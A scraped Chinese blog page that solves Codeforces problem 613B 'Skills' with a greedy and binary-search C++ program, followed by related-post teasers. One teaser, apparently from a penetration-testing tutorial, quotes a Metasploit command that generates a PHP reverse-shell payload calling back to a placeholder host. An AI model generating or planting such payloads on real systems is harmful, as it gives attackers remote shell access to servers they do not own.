B. Skills

题目连接:

http://www.codeforces.com/contest/613/problem/B

Description

Lesha plays the recently published new version of the legendary game hacknet. In this version character skill mechanism was introduced. Now, each player character has exactly n skills. Each skill is represented by a non-negative integer ai — the current skill level. All skills have the same maximum level A.

Along with the skills, global ranking of all players was added. Players are ranked according to the so-called Force. The Force of a player is the sum of the following values:

The number of skills that a character has perfected (i.e., such that ai = A), multiplied by coefficient cf.

The minimum skill level among all skills (min ai), multiplied by coefficient cm.

Now Lesha has m hacknetian currency units, which he is willing to spend. Each currency unit can increase the current level of any skill by 1 (if it's not equal to A yet). Help him spend his money in order to achieve the maximum possible value of the Force.

Input

The first line of the input contains five space-separated integers n, A, cf, cm and m (1 ≤ n ≤ 100 000, 1 ≤ A ≤ 109, 0 ≤ cf, cm ≤ 1000, 0 ≤ m ≤ 1015).

The second line contains exactly n integers ai (0 ≤ ai ≤ A), separated by spaces, — the current levels of skills.

Output

On the first line print the maximum value of the Force that the character can achieve using no more than m currency units.

On the second line print n integers a'i (ai ≤ a'i ≤ A), skill levels which one must achieve in order to reach the specified value of the Force, while using no more than m currency units. Numbers should be separated by spaces.

Sample Input

3 5 10 1 5

1 3 1

Sample Output

12

2 5 2

Hint

题意

你有n个技能,每个技能最高A级,你还有m个技能点没加

然后你的实力等于最低的技能等级*cm+等级加满的技能数量*cf

现在问你怎么加点,可以使得你的实力最大

题解:

首先贪心,我加满的技能,肯定是从高往低加

我要提高最低的技能,肯定从低到高加

那么我就枚举我加满的技能数量,然后二分我究竟能够加多少个最低的技能。

代码

#include<bits/stdc++.h>
using namespace std;
const int maxn = 1e5+7;
int n;
long long A,cf,cm,m;
pair<long long ,int> a[maxn];
long long b[maxn],c[maxn];
bool cmp(pair<long long ,int> aa,pair<long long ,int> bb)
{
return aa.second<bb.second;
}
int main()
{
scanf("%d%lld%lld%lld%lld",&n,&A,&cf,&cm,&m);
for(int i=1;i<=n;i++)
scanf("%lld",&a[i].first),a[i].second=i;
sort(a+1,a+1+n);
for(int i=1;i<=n;i++)
{
b[i]=b[i-1]+a[i].first;
c[i]=a[i].first*i-b[i];
}
long long ans = 0,ans1 = 0,ans2 = 0;
for(int i=0;i<n;i++)
{
if(m<0)break;
int pos = upper_bound(c,c+1+(n-i),m)-c-1;
long long q = (m-c[pos])/pos+a[pos].first;
q = min(q,A);
long long tmp = q*cm+i*cf;
if(tmp>ans)
{
ans = tmp;
ans1 = q,ans2 = i;
}
m = m - (A - a[n-i].first);
}
if(m>=0)
ans = A*cm+n*cf;
printf("%lld\n",ans);
for(int i=1;i<=n;i++)
{
if(n-i<ans2)
a[i].first = A;
else if(a[i].first<=ans1)
a[i].first = ans1;
}
sort(a+1,a+1+n,cmp);
for(int i=1;i<=n;i++)
printf("%lld ",a[i].first);
}

Codeforces Round #339 (Div. 1) B. Skills 暴力 二分的更多相关文章

  1. Codeforces Round #339 (Div.2)

    A. Link/Cut Tree time limit per test 2 seconds memory limit per test 256 megabytes input standard in ...

  2. Codeforces Round #307 (Div. 2) B. ZgukistringZ 暴力

    B. ZgukistringZ Time Limit: 20 Sec Memory Limit: 256 MB 题目连接 http://codeforces.com/contest/551/probl ...

  3. Codeforces Round #328 (Div. 2) A. PawnChess 暴力

    A. PawnChess Time Limit: 20 Sec Memory Limit: 256 MB 题目连接 http://codeforces.com/contest/592/problem/ ...

  4. Codeforces Round #404 (Div. 2)(A.水,暴力,B,排序,贪心)

    A. Anton and Polyhedrons time limit per test:2 seconds memory limit per test:256 megabytes input:sta ...

  5. Codeforces Round #369 (Div. 2) A B 暴力 模拟

    A. Bus to Udayland time limit per test 2 seconds memory limit per test 256 megabytes input standard ...

  6. Codeforces Round #339 (Div. 1) A. Peter and Snow Blower 计算几何

    A. Peter and Snow Blower 题目连接: http://www.codeforces.com/contest/613/problem/A Description Peter got ...

  7. Codeforces Round #339 (Div. 2) B. Gena's Code 水题

    B. Gena's Code 题目连接: http://www.codeforces.com/contest/614/problem/B Description It's the year 4527 ...

  8. Codeforces Round #339 (Div. 2) A. Link/Cut Tree 水题

    A. Link/Cut Tree 题目连接: http://www.codeforces.com/contest/614/problem/A Description Programmer Rostis ...

  9. Codeforces Round #188 (Div. 1) B. Ants 暴力

    B. Ants Time Limit: 20 Sec Memory Limit: 256 MB 题目连接 http://codeforces.com/contest/317/problem/B Des ...

随机推荐

  1. msf web脚本反弹shell

    msf > msfpayload php/reverse_php LHOST=x.x.x.x LPORT=2333 R > re.php msf > use multi/handle ...

  2. 【R语言学习】时间序列

    时序分析会用到的函数 函数 程序包 用途 ts() stats 生成时序对象 plot() graphics 画出时间序列的折线图 start() stats 返回时间序列的开始时间 end() st ...

  3. ThinkPHP5 模型 - 事务支持

    使用事务之前,先确保数据库的存储引擎支持事务操作. MyISAM:不支持事务,主要用于读数据提高性能 InnoDB:支持事务.行级锁和并发 Berkeley DB:支持事务 ThinkPHP5 使用事 ...

  4. 剑指offer中数据结构与算法部分学习

    2.3.4 树 遍历:前中后序,宽度优先. 二叉树的特例:二叉搜索树.堆(最大堆和最小堆,用于找最值).红黑树(c++ STL中的很多数据结果就是基于这实现的): 题7-重建二叉树:递归,设置四个位点 ...

  5. js前端数据加密插件

    (2014-11-14 15:37:35) 转载▼ 标签: it 分类: Web前端开发 摘要: 大部分动态网站都支持从客户端到服务器传递数据,如果传递的数据被别人截取就非常危险,尤其是一些用户名密码 ...

  6. LeetCode212. Word Search II

    https://leetcode.com/problems/word-search-ii/description/ Given a 2D board and a list of words from ...

  7. matlab安装及使用

    matlab R2015b在ubuntu 14.04环境下的安装 挂载及运行安装程序 sudo mkidr /media/matlab mount -o loop matlab_R2015b.iso ...

  8. js表单提交回调函数

    在研究表单的时候发现一个有意思的东西——在表单提交的时候如何保证数据全部提交完毕才会清空? 我们常用的<input type="reset" value="重置&q ...

  9. Interllij IDEA 注释模板(类和方法)

    类上的注释: file->setting->Editor->Filr and Code Templates->Includes->File Header /** * @A ...

  10. TCP连接复用

    转自网络:看到一陌生名词,记录一下 TCP连接复用技术通过将前端多个客户的HTTP请求复用到后端与服务器建立的一个TCP连接上.这种技术能够大大减小服务器的性能负载,减少与服务器之间新建TCP连接所带 ...